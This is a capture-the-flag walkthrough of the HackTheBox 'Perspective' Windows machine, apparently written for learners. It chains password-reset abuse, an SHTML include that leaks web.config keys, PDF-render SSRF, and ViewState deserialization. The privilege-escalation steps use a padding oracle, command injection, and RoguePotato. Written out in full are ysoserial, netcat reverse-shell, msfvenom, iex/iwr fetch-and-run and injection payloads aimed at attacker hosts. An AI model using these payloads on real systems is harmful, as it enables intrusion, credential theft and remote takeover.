Perspective
Perspective machine on HackTheBox, submitted by w1nd3x. The machines start from a web server, running IIS. Eventually, it led to admin panel hijacking, using misconfiguration in forget password functionality. We exploit insecure upload functionality, leading us to get the web config and XXS. Later we get all the important fields to exploit a viewstate .Net deserialization. After the enumeration, we find a new web server, We exploit Oracle Padding to obtain root. Later in the walkthrough, we discuss the unintented ways as well, Token Impersonation and Command Injection into the hidden email field.
Recon:
Starting with the recon part, we use Nmap for the initial recon.
Nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 d6:7f:3f:d4:22:15:ce:64:f3:c8:00:79:bf:f6:f8:f8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvvNvqDHY0La79TRuhP3rVsxGaYbPZ5rZm601149jVSvANLse2QFcV5+I0J7rPcyv/QnBzKuFjL2LnkQ2PILhXmxp3Lx6DH/CjpLUhDqmNILTkNrfqYmc1FY5tb9PQ6xThCn+/ArvezWlrwkyzD3MeVLFBqz37A2gNTXrRHD9TjTnkQB4hCjaG2vqTXtrwgjeZT60+WCJfrrHkvBpWxj6cTtU8k7IRsQ6x6hgVvNAE7iaCiJXMSXNZb2FHqX8F8Lomm6yb9MBciGwk3y1lUAnpBrgLpJ3oguj8fVne7HtRmLQqkoLChbnY0Cofb+JfMEArowm3sIjeoqx5n/aZe1AN
| 256 08:c6:d4:f3:98:84:0f:fd:4b:ed:e3:a6:25:bd:e7:70 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGKidzCrvHuj5D+VtvMBYwBaNG5xkYCKkdC5bAGYSTi7aeQCCTqvUbAGpOUOJGZCy9LwnZF70drFxCuMmRhFCEw=
| 256 32:81:6a:8b:4d:f9:61:09:ff:d3:99:6c:e7:3f:a3:ac (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkzcBfW0X+tsMrF7duDsKuD5uocdxaXFKoT/hKcQtb5
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Home Page - Northern Sprocket
|_http-favicon: Unknown favicon MD5: 4859E39AE6C0F1F428F2126A6BB32BD9
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
We see two ports open, and this is one of the classic combinations 22 for ssh and 80 for the webserver. Looking at Nmap, we don’t see we can do much with SSH. We move to the webserver. We use a few programs to get more information about it.
Port 80
Visiting the webpage, we are redirected to its hostname perspective.htb
, adding to hostname to the hosts’ file, we see a proper webpage.
Enumeration
1) Whatweb
http://perspective.htb/ [200 OK] ASP_NET[4.0.30319],
Bootstrap
Country[RESERVED][ZZ]
HTML5
HTTPServer[Microsoft-IIS/10.0]
IP[10.129.186.140]
JQuery[3.4.1]
Microsoft-IIS[10.0]
Modernizr[2.8.3]
Script[text/javascript]
Title[Home Page - Northern Sprocket][Title element contains newline(s)!]
X-Powered-By[ASP.NET]
2) Feroxbuster
http://perspective.htb/images
http://perspective.htb/contact
http://perspective.htb/products
http://perspective.htb/default
http://perspective.htb/about
http://perspective.htb/contact/contact
http://perspective.htb/default.aspx
http://perspective.htb/about.aspx
http://perspective.htb/content
http://perspective.htb/contact/contact.aspx
http://perspective.htb/admin
http://perspective.htb/static
http://perspective.htb/scripts
http://perspective.htb/account
http://perspective.htb/account/login
http://perspective.htb/account/login.aspx
http://perspective.htb/account/register
http://perspective.htb/account/register.aspx
http://perspective.htb/content/css
http://perspective.htb/account/forgot
http://perspective.htb/account/forgot.aspx
http://perspective.htb/fonts
http://perspective.htb/500.html
3) Gobuster
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://perspective.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/03/22 19:20:11 Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 114442 / 114442 (100%)
We don’t see any helpful information given by gobuster vhost. We do see a few exciting directories in the Feroxbuster result. From the scans, we see some log in and register functionality. We create an account and start to enumerate as an authenticated user. And confirmation in whatweb for .NET and IIS.
We see some exciting stuff, a New Product and an admin email id.
We have two things to enumerate in our checklist. 1) Forget Password Feature 2) New Product
Admin Panel Hijack
Starting with the first one, we use burp to analyze the request.
Answering and moving further, we make an exciting request. The request has an email ID, __VIEWSTATE
and a __VIEWSTATEGENERATOR
. We are asked a few questions, and these are the same, answered in the registration form. We keep __VIEWSTATE
and __VIEWSTATEGENERATOR
in our mind and move further with the request.
The question that comes to mind is, what if we change the email id to the admin’s email id. Can we reset the admin’s email id? But the issue is that we don’t know the answer to these questions. We change the email, and it shows a 500.
Going back to forget password page, we add admin’s email and looking at the response; we see that Administrative Users cannot reset the password via security questions
Well, we aren’t asked any security questions. Does that mean we can keep the security questions empty? We keep this questions field empty. We again use our test account and Initiate a password reset. And change the hidden email ID.
Forwarding the request with these changes, we do see we are redirected to forget.aspx
. And we see we can change the password. Entering the password and submitting.we get a valid response saying Resetting Password for user: [email protected] ...successfully changed password.
Going back to the login page, we can simply log in as the admin user if we use new credentials.
Insecure File Upload And SSI
Going back to our checklist, we enumerate the New Product
feature with our test account. We can upload Image,
a Product Name,
a Description,
and a Suggested Price.
We can try for SSTI, XSS, Insecure File Upload at this stage. I will not waste my and your time telling XXS and SSTI in name description, and the price is not going to work due to WAF and black list. We try to upload a few files using extensions like Html
, aspx,
shtml,
js.
Shtml
We create a simple SHTML file and try to upload it to the server; by changing thecontent-type,
we see the file getting uploaded.<!--#include file="web.config"-->
So now we can check open each config to look at the configurations of .Net. So now we try to get ../web.config.
<!--#include file="../web.config"-->
And we do get a valid response.
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
</configSections>
[...SNIP...]
</roleManager>
<compilation debug="true" targetFramework="4.6.1" />
<httpRuntime targetFramework="4.6.1" />
<authentication mode="Forms">
<forms name=".ASPXAUTH" cookieless="UseDeviceProfile" loginUrl="~/Account/Login.aspx" slidingExpiration="false" protection="All" requireSSL="false" timeout="10" path="/" />
</authentication>
<machineKey compatibilityMode="Framework20SP2" validation="SHA1" decryption="AES" validationKey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" decryptionKey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" />
[...SNIP...]
<appSettings>
<add key="environment" value="Production" />
<add key="Domain" value="perspective.htb" />
<add key="ViewStateUserKey" value="ENC1:3UVxtz9jwPJWRvjdl1PfqXZTgg==" />
<add key="SecurePasswordServiceUrl" value="http://localhost:8000" />
</appSettings>
</configuration>
<!--ProjectGuid: 32B06320-D9FA-44B2-A1EA-B2547531A4A2-->
From this web.config
, we can get all the required information to modify the __VIEWSTATE,
but there is an issue, we can get the ViewStateUserKey,
but it’s encrypted, and the Secure Password Service is running on localhost port 8000. To communicate with the localhost, we need an XXS or SSRF. We enumerate the admin panel, and we see we have the option to convert the products to PDF.
Decrypting The ViewSateUserKey
We create a PDF, download that and use ExifTool to understand what software/framework/script the backend is using to create this PDF.
We were going back to the test account to test for payloads. As we can see, it’s produced by Skia/PDF
we can craft an XXS payload and put in name or description. The list of payloads i tested.
1) script 2) video 3) img 4) meta
Again, I will not waste any time. video
and meta
can bypass the blacklist and WAF from the above four payloads. We can’t do much using video tag, But when it comes to meta, we can pass an Html Uri, and it executes the HTML page.
The HTML file looks like this:
<link rel="stylesheet" href="http://10.10.xx.xx/styles.css">
We modify the Description
of the product.
And it works. We can bypass black list and WAF.
To trigger the XXS, we open the admin panel and generate a PDF.
We see we have a hit on our web server, and we can conclude that we can execute HTML.
Now we try to communicate with the local host. For the localhost, we have a feature in HTML that can parse/render the code of another website. That is called iframe.
We create an iframe
tag like this:
<iframe src="http://localhost:8000/" height="2000px" width="2000px" >
</iframe>
Submitting the XXS payload again, we see a hit on the webserver, and we can open PDF to see the iframe
info.
And we see that we have two options: GET
and another POST,
encrypt
and decrypt.
Searching about SecurePasswordService Admin API,
we don’t find anything; it looks like this custom. From the PDF, we have a JSON file. Let’s try to get that its data. http://localhost:8000/swagger/v1/swagger.json
. In the x.html,
we change the src
to the JSON file. Then Generate PDF.
We can see that the decrypt function takes cipherTextRaw
and then decrypt the data. So we again change the src
of iframe.
This time, we have to use form
because we are dealing with POST
requests.
<html>
<body>
<h1>Pwn3d</h1>
<p><br></p>
<form id="PwnForm" target="iframe"
method="post" action="http://localhost:8000/decrypt?cipherTextRaw=ENC1%3a3UVxtz9jwPJWRvjdl1PfqXZTgg%3d%3d" >
<input type="text">
</form>
<iframe name="iframe"></iframe>
<script type="text/javascript">
document.getElementById('PwnForm').submit();
</script>
</body>
</html>
We have the key.
Key => SAltysAltYV1ewSTaT3
Initial Foothold
Initial Findings
We have a couple of known things:
1) Key => SAltysAltYV1ewSTaT3
2) ValidationKey => 99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF
3) .Net Version => 4.6.1
4) ViewStateGenerator in Burp Request => 0414C274
5) Validation => SHA1
6) Decryption => AES
.Net Deserialization
Looking forward to .Net Deserialization, we have everything we need to know. We install Ysoserial for .Net Deserialization. After reading the article, we can execute system commands. We can craft payloads like this.
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c Invoke-WebRequest -URI 10.10.xx.xx/pwn" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF"
/wEywAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRl[...SNIP...]
PC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgvRwi7tq0reA1yNCHYnCFLDC2XxQg==
So now if we go on the /Products/ProductList
and create a New Product,
intercept the request, we see __VIEWSTATE,
changing it to our Serialization token, we get a hit on our webserver.
So now we can upload nc.exe
and get a reverse shell.
Uploading Netcat
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c Invoke-WebRequest -URI 10.10.14.28/nc.exe -O C:\Windows\System32\spool\drivers\color\nc.exe" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF"
We replace the token again, seeing a hit on our webserver regarding netcat.
Getting Reverse Shell.
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe 10.10.14.28 1337" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF"
Again, we replace the token and see a reverse connection with cmd.exe.
Privilege Escalation
Enumeration
Navigating to root directory, we see WEBAPPS
, Navigating into the directory, we do see three more directories, (PartImages_Staging
, AdminPanel
and PartImages_Prod
) We can download both to compare the difference. And we also to identify where the other server is running.
downlaod PartImages_Prod
downlaod PartImages_Staging
To check the difference we use a tool called meld
From the result, we see there is not much difference in the backed code. Now only difference code be in running the application, this means the parameter used.
Example, when we run a flask application, we provide different arguments, like debug
, Interface to run on
, etc. We are going to enumerate the open ports, and try to identify the Staging server.
netstat -ano
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:22 0.0.0.0:0 LISTENING 2304
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 852
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8009 0.0.0.0:0 LISTENING 4
We do find 8009 and 8000 port exposed on 0.0.0.0
But dude to firewall rules, we were not able to access. Now we will port forward it, using SSH.
ssh -i id_rsa [email protected] -L 8009:127.0.0.1:8009
Now we should be able to access 8009
on our localhost.
DLLs Reverse Engineering
The page is almost the same, the difference we can see on the bottom, the Environment Name is Staging
. We will enumerate the page, like before. But it is almost the same.
We use dnspy
to enumerate the DLLs.
After a while we came across, this redirection.
{
string variable = "PerspectiveSessionKey" + ConfigurationManager.AppSettings["environment"];
string str = Utils.Encrypt(value, Environment.GetEnvironmentVariable(variable));
base.Response.Redirect("/Account/forgot.aspx?token=" + str);
}
We will enumerate this file /Account/forgot.aspx
, We already have the source code, we can simply search for this. Opening the file in a text editor, we can see its pointing towards a new file that is located inside handlers
directory.
We open the changePassword file as well. Reading the file, we eventually came across a system command execution, using System.Diagnostics
class.
We can think of command injection. We see two variables passing to the PasswordReset.exe
, the first one is decryptedstring
and the second one is password1
. Looking at the source code again, we can control the password1
variable but can’t add special chars. Because there is a function called ValidPassword
that verifies this password.
private bool ValidPassword(string Password)
{
var regex = new Regex("^([a-zA-Z0-9!@#.^]{6,15})$");
return regex.IsMatch(Password);
}
Now the only possible way, is to inject our system command in the decryptedstring
variable. The decryptedstring
is the value that is decrypted using perspective.Utils.Decrypt
method.
string decryptedstring = perspective.Utils.Decrypt(token, Environment.GetEnvironmentVariable(SessionKeyEnvName));
And we can find this function in the DLL.
{
byte[] array = Convert.FromBase64String(Utils.UrlSafeB64Decode(input)).ToArray<byte>();
byte[] bytes = Encoding.UTF8.GetBytes(password);
byte[] ivBytes = array.Take(16).ToArray<byte>();
byte[] bytesToBeDecrypted = array.Skip(16).Take(array.Length - 16).ToArray<byte>();
byte[] bytes2 = Utils.AES_Decrypt(bytesToBeDecrypted, ivBytes, bytes);
return Encoding.UTF8.GetString(bytes2);
}
The most interesting thing is AES_Decrypt
.
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] ivBytes, byte[] passwordBytes)
{
byte[] result = null;
byte[] salt = new byte[]
{1,2, 3,4,5,6,7,8
};
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = ivBytes;
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cryptoStream.Close();
}
result = memoryStream.ToArray();
}
}
return result;
}
Padding oracle attack
It is using AES CBC to encrypt and decrypt the keys. But the issue is, we don’t have the secret key and IV. We can search for attacks related to specify algorithm. We eventually came across Padding oracle attack. We will enumerate forget password page. The interesting part can be seen in the response when we try to modify the token.
And we do see the padding error. Padding is invalid and cannot be removed.
For this attack, we will use a tool called PyOracle2.
python3 pyOracle2.py -h
usage: pyOracle2.py [-h] [-r RESTORE] [-i INPUT] [-m MODE] [-d] [-c CONFIG]
optional arguments:
-h, --help show this help message and exit
-r RESTORE, --restore RESTORE
Specify a state file to restore from
-i INPUT, --input INPUT
Specify either the ciphertext (for decrypt) or plainttext (for encrypt)
-m MODE, --mode MODE Select encrypt or decrypt mode
-d, --debug increase output verbosity
-c CONFIG, --config CONFIG
Specify the configuration file
The command should be simple. We just have to create a config file, specify the mode, and input. So our command will look like this. For that we will create a directory called pwn
in the root of the system and upload nc.exe
to it. Now we will create a config file for it.
python3 pyOracle2.py -m encrypt -c perspective.config -i "[email protected] & powershell C:/pwn/nc.exe -e cmd.exe 10.10.14.20 1337"
$ cat perspective.config | grep -v '#'
[default]
name = Name
URL = http://localhost:8009/handlers/changePassword.ashx
httpMethod = POST
postFormat = form-urlencoded
inputMode = parameter
encodingMode = base64Url
vulnerableParameter = token
additionalParameters = {"password1":"FuckCBC1!","password2":"FuckCBC1!"}
blocksize = 16
httpProxyOn = True
httpProxyIp = 127.0.0.1
httpProxyPort = 8080
headers = {"User-Agent":"Mozilla/5.0","Content-Type":"text/html; charset=UTF-8"}
cookies = {}
ivMode = firstblock
iv = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
oracleMode = negative
oracleText = is invalid
We will start the tool, as we have added proxy, we can see all the requests in burpsuite.
This will take few mins, It will show a message everytime, when it solves a block.
[!] Solved 1 blocks out of 5
##################################
b'\x8azc\x8f\x10\xa6J-a\x11 \xf1v?\x01\xc9'
##################################
[...SNIP...]
*************************************************
[*]BLOCK SOLVED:
b'\xcbM\xcd\xd7r\xbb\xafR\xb6\xe7I\xcb\x18\xb9\xb7\xea'
*************************************************
And it will automatically use the encrypted token and give a shell as administrator.
nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.151] 56738
Microsoft Windows [Version 10.0.17763.2686]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\windows\system32\inetsrv>whoami
whoami
perspective\administrator
C:\windows\system32\inetsrv>
Privilege Escalation (Simple Command Injection) [Patched]
Start browser with Burp proxy. Open the web page, localhost:8009
and verify if the is different the port 80
by looking at Environment: Staging
means the web page is different.
Register a user. And move to forget password page. http://127.0.0.1:8009/Account/Forgot
. Enter the test email id. And move to security questions page. Keep all the inputs field blank and Initiate Reset.
Make sure intersecting request is turn on in burp. Now It’s time to change the ctl00$MainContent$EmailHidden
From the source code, we can inject commands like this. Upload a shell, in C:\ProgramData\
. The name is somewhat important, make sure the name contains numbers and alphabets.
# Generate:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=tun0 LPORT=1337 -f exe > shell.exe
# Upload, start http server:
Invoke-WebRequest -URi 10.10.14.24/shell.exe -O shell9919.exe
- Command Injection:
ctl00$MainContent$EmailHidden=test@perspective.htb+whatever|powershell.exe+-c+"C:\ProgramData\shell9919.exe" & ::
Make sure to url encode this.
ctl00$MainContent$EmailHidden=test%40test.com%2bwhatever|powershell.exe%2b-c%2b"C%3a\ProgramData\shell9919.exe"+%26+%3a%3a
Modify the request and forward it. U will ask form new password. Enter anything and change password and u will get shell as administrator.
Privilege Escalation (Rogue Potato) [Patched]
Executing few commands like whoami /all
and systeminfo
, we see we are dealing with Microsoft Windows Server 2019 Standard
and we have SeImpersonatePrivilege
privilege. We can simply use Rogue Potato We are going to follow this [guide](https://0xdf.gitlab.io/2020/09/08/roguepotato-on-remote.html]
First we will convert the shell to meterpreter session. Upload shell onto the machine.
Reference => 0xdf’s Rogue Potato Guide
Now we have to transfer rogueOxidResolver.exe
and roguePotato.exe
upload RoguePotato.exe
upload RogueOxidResolver.exe
We need to port forward, we will pick 9999.
portfwd add -l 9999 -p 9999 -r 127.0.0.1
We also need to start socat that acts as port 135 SMB.
socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999
We create a shell.ps1 to execute shell.exe
and we need start another listener.
Now we get CLSID from the article by 0xdf and start the exploit.
.\RoguePotato.exe -c "{B91D5831-B1BD-4608-8198-D72E155020F7}" -r 10.10.14.28 -e "powershell -c iex( iwr http://10.10.14.28/shell.ps1 -UseBasicParsing )" -l 9999
And we get a hit on our http server and it leads us to shell as system.